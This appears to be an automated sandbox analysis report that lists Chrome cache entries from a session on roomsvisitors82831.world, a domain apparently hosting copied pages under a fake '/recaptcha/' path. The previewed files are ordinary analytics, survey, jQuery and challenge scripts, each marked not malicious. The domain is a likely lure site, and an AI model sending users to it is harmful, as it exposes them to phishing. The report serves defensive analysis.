a;a=l[b];if(!a&&0<g.length){a=b;var c=0,d;if(0!==a.length)for(d=0;d<a.length;d+=1)c+=a.charCodeAt(d);a=g[c%g.length]}a\|\|(a=l.fallback);e.push(["init",arguments]);"150"===a?n("//munchkin-cdn.

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21276), with no line terminators
Category:	dropped
Size (bytes):	21276
Entropy (8bit):	5.3949153777782906
Encrypted:	false
SSDEEP:
MD5:	815DB698B534082771E5E6EB605E989B
SHA1:	E68CB7C5CF88E32449C2FBD4A2A78C19BAEC93D4
SHA-256:	7CDE9CE4537EDDA7EE537277DD4BA30696410B852C8C35FA084873662DD4B5A5
SHA-512:	E2BC79A6827D704F435A3A2BBE6FDFDD3B57B52991A581EFBB7C31753522C01989C2B87BDB9AAABE7A7F1C247BB85F843730A72FFA353F481A4EA6A80F580671
Malicious:	false
Reputation:	unknown
Preview:	"use strict";(self.webpackChunktag=self.webpackChunktag\|\|[]).push([[153],{206:(e,t,n)=>{n.r(t),n.d(t,{AT_HIT_LABEL:()=>me,HitType:()=>a.YQ,aggregateActionTracking:()=>we,dispatchBatch:()=>z,dispatchHit:()=>be,getCurrentScrollPercent:()=>qe,notifyHit:()=>he,setGlobals:()=>ve});var a=n(1492),r=n(648),o=n(9578),i=n(8009);const s="[Hit]";let c=null,l=null,p=[];async function d(e){let t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"https://ariane.abtasty.com";if((new i.NO).haveConsent([i.rv.collect])\|\|function(e){const t=e.h;return!!Array.isArray(t)&&t.some((e=>e.t===a.YQ.consent&&"no"===e.co))}(e))if(t)!function(e,t){navigator.sendBeacon(e,JSON.stringify(t))}(n,e);else{let t={};if(!l)try{l=new AbortController,t={signal:l.signal}}catch(e){r.vV(`${s} cannot create AbortController`,e)}c={args:e,endpoint:n},await fetch(n,{...t,mode:"no-cors",method:"POST",headers:{"Content-type":"text/plain"},cache:"no-store",body:JSON.stringi

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	22
Entropy (8bit):	3.82306798227366
Encrypted:	false
SSDEEP:
MD5:	689525EE6C812E73A44B6AA1036AB53A
SHA1:	7350CB4703A96EA7C140BD30DA9A6D1BCFF36EB2
SHA-256:	37EC4665A8102D115FFD1AC20DAE94C98B4DAC64B0C1A68228AA2A531CAEB35D
SHA-512:	DA6DEFF19F0B2BF5E0EF17B3CAE34A0D44C5D48FBF9F3FFEDD00CEA74F923E1A3E9C4C926A6564C889CCA21041550F557E1EC00DB9E35502FFC794A5F9E9722E
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/sites/default/files/styles/menu_teaser_desktop/public/2023-10/travel_predictions_2024_1_1.jpg.webp?h=db5e2b43&itok=jW2sd4Zb
Preview:	{"detail":"Not Found"}

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2310)
Category:	downloaded
Size (bytes):	199289
Entropy (8bit):	5.529032443086327
Encrypted:	false
SSDEEP:
MD5:	2A19F3BD77DD22D968B547CFBE73D137
SHA1:	D98BC119D40C31BF901A0AF0B3A8FE2A740183BA
SHA-256:	D5272B4C5F999E4550270132BF7B0CF4494F9F1D1C69C5155106AACAA222E13E
SHA-512:	35D720F7EAA584C97689B1BA663626C46194F0E9C0287304FECCC776DD036B4696D93660F9D643AC1085B434E0AE5C3FAAD46864EF042B0FE1776B1EFBBFCB56
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/optimize.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"923",. . "macros":[{"function":"__e"},{"function":"__dee"},{"vtp_experimentKey":"OPT-MVTHSWF_OPT-T3D2J","function":"__c","vtp_value":false},{"function":"__u","vtp_component":"URL","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"vtp_component":1,"function":"__c","vtp_value":"desktop"},{"function":"__v","vtp_dataLayerVersion":2,"vtp_setDefaultValue":false,"vtp_name":"userId"},{"function":"__c","vtp_value":false},{"function":"__gaoo_c","vtp_trackingId":"UA-6284728-15"},{"function":"__ctto","vtp_isDynamic":false},{"function":"__sel","vtp_selector":":root"},{"vtp_experimentKey":"OPT-MVTHSWF_OPT-WRHGD","function":"__c","vtp_value":false}],. "tags":[{"function":"__asprv","vtp_globalName":"google_optimize","vtp_listenForMutations":false,"tag_id":13},{"function":"__asprv","tag_id":14}],. "predicates":[{"function":"_eq","arg0":["macro",0],"arg1":["macro",1]}

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2047)
Category:	dropped
Size (bytes):	2901
Entropy (8bit):	5.238759434908014
Encrypted:	false
SSDEEP:
MD5:	3EABF254D0563BB1BF1ECBC04A01E694
SHA1:	5E27770B1224E3AA1FAD948C16DAABE3A6FC1817
SHA-256:	59D1068C02D93D070A59D15E41390DF70B60C5C0F3E7D4460E6DCDF7A2243574
SHA-512:	C677B9C772D5A622BE685669EB3D2F3F56267462FC0DFB7A25950FC74FAB29F2079B6F4E915DF9C8D912520BB48E838A89A3334BE44555E8F561EF057CD466A5
Malicious:	false
Reputation:	unknown
Preview:	./@preserve.Version 2.22.0./../@license. Copyright 2002 - 2018 Qualtrics, LLC.. * All rights reserved.. . Notice: All code, text, concepts, and other information herein (collectively, the. * "Materials") are the sole property of Qualtrics, LLC, except to the extent. * otherwise indicated. The Materials are proprietary to Qualtrics and are protected. * under all applicable laws, including copyright, patent (as applicable), trade. * secret, and contract law. Disclosure or reproduction of any Materials is strictly. * prohibited without the express prior written consent of an authorized signatory. * of Qualtrics. For disclosure requests, please contact notice@qualtrics.com.. */..try {. (window["WAFQualtricsWebpackJsonP-cloud-2.22.0"]=window["WAFQualtricsWebpackJsonP-cloud-2.22.0"]\|\|[]).push([[5],{42:function(e,n,t){"use strict";t.r(n);var d=function(e,n){this.payload=n,this.type=e};t.d(n,"addPopunderEmbeddedDataHandler",(f

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	56
Entropy (8bit):	4.72469080628813
Encrypted:	false
SSDEEP:
MD5:	465E94C50E8C37BC8821D43C7818049A
SHA1:	590F5F8ECFA002CF5F2118FD5B8C9D10602DE5F5
SHA-256:	239F549FC7A5C7EE530BCD8FCACC1A8B83DC144AF12EA6679071E10F1EDA0D9C
SHA-512:	B210D72530BD7554B39A999B096A59F65886D7A6DC361B360C287AF8A48E7904AA1852BBF1F65D4F98F25173CE850323C337743BAF5F63983D972028806A6802
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwlzAICicHa2DhIFDV18ofMSBQ1TWkfFEhAJjfuieX5y5nUSBQ1dfKHzEhAJs61-FQfA2dYSBQ1TWkfF?alt=proto
Preview:	ChIKBw1dfKHzGgAKBw1TWkfFGgAKCQoHDV18ofMaAAoJCgcNU1pHxRoA

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (18786)
Category:	downloaded
Size (bytes):	23274
Entropy (8bit):	5.478519521352338
Encrypted:	false
SSDEEP:
MD5:	D59000893E627F1C2BD3B7E09D7CB276
SHA1:	53AB1BD82A476268E568A561576BD28DCF7DD905
SHA-256:	A5ACF1AB86CA7412DA5D272B1BD243D1F763E44CF9C7A99BEF872D009B57A089
SHA-512:	E8B98A0DD4C01E722D811C4716AAFFB801606015CF8973AD5A61CD0FED5ACCF19EC0A7E1C7300E72D887C18CBF8F1449474B7830B147573BD8860AC9EC4A8DCF
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/OtAutoBlock.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	(function(){function q(a){var c=[],b=[],e=function(f){for(var g={},h=0;h<u.length;h++){var d=u[h];if(d.Tag===f){g=d;break}var l=void 0,k=d.Tag;var C=(k=-1!==k.indexOf("http:")?k.replace("http:",""):k.replace("https:",""),-1!==(l=k.indexOf("?"))?k.replace(k.substring(l),""):k);if(f&&(-1!==f.indexOf(C)\|\|-1!==d.Tag.indexOf(f))){g=d;break}}return g}(a);return e.CategoryId&&(c=e.CategoryId),e.Vendor&&(b=e.Vendor.split(":")),!e.Tag&&D&&(b=c=function(f){var g=[],h=function(d){var l=document.createElement("a");.return l.href=d,-1!==(d=l.hostname.split(".")).indexOf("www")\|\|2<d.length?d.slice(1).join("."):l.hostname}(f);return g=v.some(function(d){return d===h})?["C0004"]:g}(a)),{categoryIds:c,vsCatIds:b}}function w(a){return!a\|\|!a.length\|\|(a&&window.OptanonActiveGroups?a.every(function(c){return-1!==window.OptanonActiveGroups.indexOf(","+c+",")}):void 0)}function m(a,c){void 0===c&&(c=null);var b=window,e=b.OneTrust&&b.OneTrust.IsVendorServiceEnabled;b=e&&b.OneTrust.IsVendorServiceEnabled();re

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65466)
Category:	dropped
Size (bytes):	223840
Entropy (8bit):	5.361366964586732
Encrypted:	false
SSDEEP:
MD5:	8677F7D39040F970F2BEA1CEA0D09C10
SHA1:	778AE2556234E86159483D5E6E836909B1416320
SHA-256:	C3C6769C833C5EA582AB61451EC54ABB5FBC3E308E5E5E208AC5BFE02912D180
SHA-512:	69B8988EA66F69EC3F994069EC0E8A2D0308F4C10A8B8372D2C9E518A410E39C0F16600869FFF10F3C80FC63A49C78BAEEF34F3B596DF251820D7549373355EB
Malicious:	false
Reputation:	unknown
Preview:	/! For license information please see kindly-chat.js.LICENSE.txt /.(()=>{var e,t,n={8959:(e,t,n)=>{"use strict";n.d(t,{A:()=>r,W:()=>a});const r="v2",a=Object.freeze(["agent","alerts","bot","chatbubble","privacy","lightbox","nudge"])},2186:(e,t,n)=>{"use strict";n.d(t,{n:()=>a,m:()=>r});const r={default:"'IBMPlex', 'Helvetica Neue', Helvetica, Arial, sans-serif",KindlySans:"KindlySans"},a="\n@font-face {\n font-family: 'KindlySans';\n src: url(".concat("https://chat.kindlycdn.com/src/assets/fonts/KindlySans-Regular.65d6f01a87841a240c37cd04c52f3c2f.otf",") format('OpenType');\n}\n\n@font-face {\n font-family: 'IBMPlex';\n font-weight: 400;\n src: url(").concat("https://chat.kindlycdn.com/src/assets/fonts/IBMPlexSans-Regular.2c412e2f77ae69aa2154613095be7130.ttf",") format('truetype');\n}\n\n@font-face {\n font-family: 'IBMPlex';\n font-weight: 500;\n src: url(").concat("https://chat.kindlycdn.com/src/assets/fonts/IBMPlexSans-Medium.c4877bdfa15aef22d9255288b16899

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7878), with no line terminators
Category:	dropped
Size (bytes):	7878
Entropy (8bit):	5.403929411917111
Encrypted:	false
SSDEEP:
MD5:	C85DCA041F649035DAC07E5E50008FDA
SHA1:	40DC2016EBDD37010E4CA6F785AE1DD7B199A595
SHA-256:	186EC954449474D429263559702C1B77B2070FB58A8B9E4633F77B69042D59C6
SHA-512:	82084CCB6171C19C514ED88E2556981F8D71152F6ED22E9AA76FAE966022C9BFAB58F49375F0F593B4F041A6E6A9B76DAC5401B68F79AB383610C8D765C223BE
Malicious:	false
Reputation:	unknown
Preview:	/* Created: 2024/12/24 13:36:29 UTC version: next */(()=>{"use strict";var e={648:(e,t,a)=>{a.d(t,{FF:()=>c,NI:()=>s,SW:()=>i,fH:()=>u,vV:()=>d});const n={info:"info::",error:"error::",warning:"warning::",verbose:"verbose::",success:"success::"},r={allowed:document.cookie.indexOf("abTastyDebug=")>=0};function o(e,t,a){if(function(){const e=!window.abTastyStopLog;return(r.allowed\|\|window.abTastyDebug)&&e}()){for(var n=arguments.length,o=new Array(n>3?n-3:0),i=3;i<n;i++)o[i-3]=arguments[i];t(`%c [AB Tasty Debug mode] %c ${e}`,"background: #222; color: #bada55; padding: 3px; border-radius: 5px 0px 0px 5px;",`${a} padding: 3px; border-radius: 0px 5px 5px 0px;`,...o)}}function i(){for(var e=arguments.length,t=new Array(e),a=0;a<e;a++)t[a]=arguments[a];o(n.success,console.info,"background: green; color: white;",...t)}function c(){for(var e=arguments.length,t=new Array(e),a=0;a<e;a++)t[a]=arguments[a];o(n.warning,console.warn,"background: orange; color: white;",...t)}function s(){for(var e=ar

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (34752)
Category:	dropped
Size (bytes):	754837
Entropy (8bit):	5.493101160313256
Encrypted:	false
SSDEEP:
MD5:	55F644704FF3AB55448455E33750D667
SHA1:	EF3002802033C89F1CB85928C70AA96B10CC286B
SHA-256:	49FF66C59F5F02BF8E9BBC2E1E667A5169F00022A472F9F7C135EC037046FC03
SHA-512:	06E4E6FA746F1CC6D6720D072EE621A89D23B84AF2DDE5DF031D7EAF240096D64510B81FE42582EB980F7AB495B651228ADEAD2EB89D5F7C027F64643317B4D8
Malicious:	false
Reputation:	unknown
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. . (function(w,g){w[g]=w[g]\|\|{};. w[g].e=function(s){return eval(s);};})(window,'google_tag_manager');. .(function(){..var data = {."resource": {. "version":"586",. . "macros":[{"function":"__v","vtp_name":"gtm.element","vtp_dataLayerVersion":1},{"function":"__e"},{"function":"__v","vtp_dataLayerVersion":2,"vtp_setDefaultValue":false,"vtp_name":"userId"},{"function":"__jsm","vtp_javascript":["template","(function(){if(0!==",["escape",["macro",2],8,16],")return ",["escape",["macro",2],8,16],"})();"]},{"function":"__d","vtp_elementId":"gtm-page-title","vtp_selectorType":"ID"},{"function":"__u","vtp_component":"QUERY","vtp_queryKey":"utm_campaign","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__remm","vtp_setDefaultValue":true,"vtp_input":["macro",5],"vtp_fullMatch":true,"vtp_replaceAfterMatch":true,"vtp_ignoreCase":true,"vtp_defaultValue":"0","vtp_map":["list",["map","key","^[0-9][0-9][0-9]*$"

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8806), with no line terminators
Category:	downloaded
Size (bytes):	8806
Entropy (8bit):	5.7378385769968245
Encrypted:	false
SSDEEP:
MD5:	38D688820C81463530DEF035A6C98FA3
SHA1:	D238CEC944C816FDB6F82C5D6D3F6F44315B94B7
SHA-256:	70DB8C81D5FEFD00F4276AC753FE9D1A3B38839641EFBCB193577CC7E4481631
SHA-512:	BD5C5CC51E30231004E8C221E59AC29DC8223573C813670D651989BEB6B13DF4E0716944C8DF1CD49FBED54E31FB637FA62AB0A8469CD5997EA9D18986587B66
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/cdn-cgi/challenge-platform/h/b/scripts/jsd/787bc399e22f/main.js?
Preview:	window._cf_chl_opt={cFPWv:'b'};~function(W,h,i,n,o,s,z,A){W=b,function(c,d,V,e,f){for(V=b,e=c();!![];)try{if(f=parseInt(V(364))/1(parseInt(V(348))/2)+parseInt(V(272))/3(parseInt(V(344))/4)+parseInt(V(299))/5(parseInt(V(278))/6)+parseInt(V(296))/7(parseInt(V(308))/8)+-parseInt(V(338))/9+-parseInt(V(297))/10*(-parseInt(V(367))/11)+-parseInt(V(270))/12,d===f)break;else e.push(e.shift())}catch(E){e.push(e.shift())}}(a,681675),h=this\|\|self,i=h[W(321)],n=function(a4,d,e,f){return a4=W,d=String[a4(328)],e={'h':function(E){return E==null?'':e.g(E,6,function(F,a5){return a5=b,a5(300)[a5(287)](F)})},'g':function(E,F,G,a6,H,I,J,K,L,M,N,O,P,Q,R,S,T,U){if(a6=a4,E==null)return'';for(I={},J={},K='',L=2,M=3,N=2,O=[],P=0,Q=0,R=0;R<E[a6(259)];R+=1)if(S=E[a6(287)](R),Object[a6(302)][a6(357)][a6(341)](I,S)\|\|(I[S]=M++,J[S]=!0),T=K+S,Object[a6(302)][a6(357)][a6(341)](I,T))K=T;else{if(Object[a6(302)][a6(357)][a6(341)](J,K)){if(256>K[a6(295)](0)){for(H=0;H<N;P<<=1,F-1==Q?(Q=0,O[a6(293)](G(P)),P=0):Q++,H++

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64779)
Category:	dropped
Size (bytes):	104620
Entropy (8bit):	5.4176141929421116
Encrypted:	false
SSDEEP:
MD5:	8C5CF60808C38FDC7E65C2598AA2A696
SHA1:	033784863545FF2566A72BAC7670AEA41D5D4078
SHA-256:	52404E98EEE5D973A0C03017A130248AA6656B670FE08DE0DCE89A0CC91C1F23
SHA-512:	38B84C544D9E1DDF706E5643D7F31141085C3D945AC1142704255109436C28831308C3ED5F85435CF030171B73D881011CCE9AE632859052A7331AF4083160C5
Malicious:	false
Reputation:	unknown
Preview:	./@preserve.Version 2.22.0./../@license. Copyright 2002 - 2018 Qualtrics, LLC.. * All rights reserved.. . Notice: All code, text, concepts, and other information herein (collectively, the. * "Materials") are the sole property of Qualtrics, LLC, except to the extent. * otherwise indicated. The Materials are proprietary to Qualtrics and are protected. * under all applicable laws, including copyright, patent (as applicable), trade. * secret, and contract law. Disclosure or reproduction of any Materials is strictly. * prohibited without the express prior written consent of an authorized signatory. * of Qualtrics. For disclosure requests, please contact notice@qualtrics.com.. */..try {. !function(e){var t={};function n(i){if(t[i])return t[i].exports;var r=t[i]={i:i,l:!1,exports:{}};return e[i].call(r.exports,r,r.exports,n),r.l=!0,r.exports}n.m=e,n.c=t,n.d=function(e,t,i){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,ge

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	86
Entropy (8bit):	4.150232349540528
Encrypted:	false
SSDEEP:
MD5:	AA06ED13ABA3B8794A6B08C97690BE10
SHA1:	D33973099AAB36E3D31776FC2CFA5813F3E01682
SHA-256:	776884509E2EAA210894BAA49945B7AD8A02026ADC657E276F724AF7E8544374
SHA-512:	89E907DEA8FF569ECC8E54840A3553623585EE84D1FE285DC62427C2BD5DA0EFFE05436C6C8A28389A620D5FF248ADC42B92332E7B847BD0202C1A3A0C1B154A
Malicious:	false
Reputation:	unknown
URL:	https://dcinfos-cache.abtasty.com/v1/ua-parser
Preview:	{"type":"Desktop","os":{"name":"Windows"},"browser":{"name":"Chrome","version":"117"}}

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65362)
Category:	downloaded
Size (bytes):	147142
Entropy (8bit):	5.27668117668623
Encrypted:	false
SSDEEP:
MD5:	EAA6E44CA8C71F43B3BF59A2A010F1D8
SHA1:	84AF01694885B255E21FF8784C5851CDA5BB82B0
SHA-256:	FB068625D49AB4DA095CF31D56F5C9DA37EC410C464E957DDC8AD7D1F3865736
SHA-512:	36E1221C70E0C6A21135208B5FA1D464BB302A4B70541A52365A14F9D1148CE0ACADC233F2767EC3FBF8C4A218ACE4D8CD27B9FEE4E124F3305A9BC8A9429F04
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/js_eU3AqqXIITo_gnjOn-pPAH5urQe_wR-iPbjOBrp4mHg.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	/* @license MIT https://raw.githubusercontent.com/jquery/jquery/3.7.1/LICENSE.txt /./! jQuery v3.7.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license */.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(ie,e){"use strict";var oe=[],r=Object.getPrototypeOf,ae=oe.slice,g=oe.flat?function(e){return oe.flat.call(e)}:function(e){return oe.concat.apply([],e)},s=oe.push,se=oe.indexOf,n={},i=n.toString,ue=n.hasOwnProperty,o=ue.toString,a=o.call(Object),le={},v=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},y=function(e){return null!=e&&e===e.window},C=ie.document,u={type:!0,src:!0,nonce:!0,noModule:!0};function m(e,t,n){var r,i,o=(n=n\|\|C).createElement("script");if(o.text=e,t)for(r in u)(i=t[r]\|\|t.getAttri

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	21
Entropy (8bit):	3.236857303422074
Encrypted:	false
SSDEEP:
MD5:	DC941514BC281BAC9EA561AA9433C0FC
SHA1:	FFA5578AF85CD8C29D2DF2242DC504E3B2BA687D
SHA-256:	E41656EB2BA6C6293BF6DD928E5A88CDBC50535CAB661C1969E0F598E497ED62
SHA-512:	7130F5083B1C31CBC09BFCFA2F368A2FB5B9B86D90BD6E2E1C28397FE933797BED3E8B545757ABCB7425BA8EB65B9B67B35C648B3E16BFD27D1EF08F495F6BBA
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/10ksmm4m5ms
Preview:	Internal Server Error

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7002)
Category:	dropped
Size (bytes):	8833
Entropy (8bit):	5.496355179478695
Encrypted:	false
SSDEEP:
MD5:	C410109A288997EE039809E2D28D6B9E
SHA1:	E3EE29104A992697E11C0598EA747151D80FD283
SHA-256:	27EA5910C59FF37E5BC7256226074A11E4664DA2F8073F8A6AC5F2D72FDE8C3B
SHA-512:	BAFDF531DC2B8034689F49E96B89909A7809B10C1D6904672787308FBF5CDB5D3B69DB1D25B0BA964E0B1BDD24307784E8804BEF3300BB6004FA0C4C1F70C00E
Malicious:	false
Reputation:	unknown
Preview:	(function () {. if (typeof window.QSI === 'undefined'){. window.QSI = {};. }.. var tempQSIConfig = {"hostedJSLocation":"https://siteintercept.qualtrics.com/dxjsmodule/","baseURL":"https://siteintercept.qualtrics.com","surveyTakingBaseURL":"https://s.qualtrics.com/spoke/all/jam","BrandTier":"RQqcwhV2J1","zoneId":"ZN_3Eum1ldyL0aIh0i"};.. // If QSI.config is defined in snippet, merge with QSIConfig from orchestrator-handler.. if (typeof window.QSI.config !== 'undefined' && typeof window.QSI.config === 'object') {. // This merges the user defined QSI.config with the handler defined QSIConfig. // If both objects have a property with the same name,. // then the second object property overwrites the first.. for (var attrname in tempQSIConfig) { window.QSI.config[attrname] = tempQSIConfig[attrname]; }. } else {. window.QSI.config = tempQSIConfig;. }.. window.QSI.shouldStripQueryParamsInQLoc = false;.})();../@preserve.**Version

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	91785
Entropy (8bit):	5.184410273382722
Encrypted:	false
SSDEEP:
MD5:	31B52E285AECEA6AFF5E09AA9B90EAED
SHA1:	47DE24235B7F6143FC63E0B4B483EC628B006342
SHA-256:	BD3352B0C7B707FA5A0867249158B7B1F22927A733C1088A7C39AEA1186E6F29
SHA-512:	8383567198D1F3143DE2B54F4129995B2D0BF86BA9EDF04B4386E612FBE26D0F8380323B8326406C1FF67AEBE5282F1461BC7F5363D74FAC2ECBD026673AAD30
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/bui.min.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	!function(){"use strict";function t(e){return(t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(e)}function e(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){for(var i=0;i<e.length;i++){var n=e[i];n.enumerable=n.enumerable\|\|!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(t,n.key,n)}}function n(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function a(t,e,i){return e in t?Object.defineProperty(t,e,{value:i,enumerable:!0,configurable:!0,writable:!0}):t[e]=i,t}function o(){return(o=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var i=arguments[e];for(var n in i)Object.prototype.hasOwnProperty.call(i,n)&&(t[n]=i[n])}return t}).apply(this,arguments)}function s(t){for(var e=1;e<arguments.length;e++){var i=null!=arguments[e]?arguments[e]:{},n=Object.ke

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65529), with no line terminators
Category:	downloaded
Size (bytes):	110526
Entropy (8bit):	5.3323520406422755
Encrypted:	false
SSDEEP:
MD5:	29BB076A39019E1653AE3ED985190CD2
SHA1:	3ACABDA94A1135E5F6D455BA4642ECD664E43CAD
SHA-256:	93FCBF48A2E2734A79AC1150CEBE496A6B625FB4EEB300E5FF631E82AA606FAE
SHA-512:	D371E2935C0F0F0990499E7BDBE134FBCF30B8A84EF9D194DA6ADA41C4AB06F6C33BC225EAFD5FC756CD4D28214530657CB2E78EFCC08C89B4B0B11746DBB77E
Malicious:	false
Reputation:	unknown
URL:	https://roomsvisitors82831.world/recaptcha/FAQ_files/bootstrap.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	!function(){"use strict";var t="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function e(t){var e={exports:{}};return t(e,e.exports),e.exports}var r=function(t){return t&&t.Math==Math&&t},n=r("object"==typeof globalThis&&globalThis)\|\|r("object"==typeof window&&window)\|\|r("object"==typeof self&&self)\|\|r("object"==typeof t&&t)\|\|function(){return this}()\|\|Function("return this")(),o=function(t){try{return!!t()}catch(t){return!0}},i=!o((function(){return 7!=Object.defineProperty({},1,{get:function(){return 7}})[1]})),a={}.propertyIsEnumerable,u=Object.getOwnPropertyDescriptor,s={f:u&&!a.call({1:2},1)?function(t){var e=u(this,t);return!!e&&e.enumerable}:a},c=function(t,e){return{enumerable:!(1&t),configurable:!(2&t),writable:!(4&t),value:e}},f={}.toString,l=function(t){return f.call(t).slice(8,-1)},h="".split,d=o((function(){return!Object("z").propertyIsEnumerable(0)}))?function(t){return"String"

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0530507460466545
Encrypted:	false
SSDEEP:
MD5:	57F187C7A868FAEAC558007A8EB6CB2E
SHA1:	11AB10AB109FDB53D91D444AC781101F5A6360C6
SHA-256:	AA03DC59BDCA72631D2301E4297CFA030BD31B907DC138E7B973D12311C90A22
SHA-512:	3844065E1DD778A05E8CC39901FBF3191DED380D594359DF137901EC56CA52E03D57EB60ACC2421A0EE74F0733BBB5D781B7744685C26FB013A236F49B02FED3
Malicious:	false
Reputation:	unknown
Preview:	GIF89a.............!.......,..............;

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15344, version 1.0
Category:	downloaded
Size (bytes):	15344
Entropy (8bit):	7.984625225844861
Encrypted:	false
SSDEEP:
MD5:	5D4AEB4E5F5EF754E307D7FFAEF688BD
SHA1:	06DB651CDF354C64A7383EA9C77024EF4FB4CEF8
SHA-256:	3E253B66056519AA065B00A453BAC37AC5ED8F3E6FE7B542E93A9DCDCC11D0BC
SHA-512:	7EB7C301DF79D35A6A521FAE9D3DCCC0A695D3480B4D34C7D262DD0C67ABEC8437ED40E2920625E98AAEAFBA1D908DEC69C3B07494EC7C29307DE49E91C2EF48
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2
